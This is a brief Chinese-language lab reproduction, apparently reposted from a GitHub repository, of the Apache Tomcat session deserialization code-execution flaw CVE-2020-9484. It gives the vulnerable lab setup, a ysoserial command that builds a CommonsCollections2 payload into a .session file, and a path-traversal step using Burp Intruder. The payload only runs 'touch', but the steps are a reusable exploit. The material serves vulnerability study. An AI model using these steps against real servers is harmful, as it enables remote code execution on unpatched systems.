Apache #Tomcat CVE-2020-9484

CVE-2020-9484

用Kali 2.0復現Apache Tomcat Session反序列化代碼執行漏洞 CVE-2020-9484

環境：

1. Kali 2.0
2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz（webapp是s2-053，在其lib下加了commons-collections4-4.0.jar）
   
   

啟動

/yourtomcatdir/bin/startup.sh 

 

 

生成payload

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/9484" > /tmp/22222.session

利用

先訪問S2-053看是否啟動正常： http://192.168.152.128:8080/s2-053/ 

 

 

重新訪問抓包，用intruder進行路徑遍歷 

 

 

 

 

 

執行命令成功： 

https://github.com/IdealDreamLast/CVE-2020-9484/raw/master/img/ok.png

本文轉自https://github.com/IdealDreamLast/CVE-2020-9484/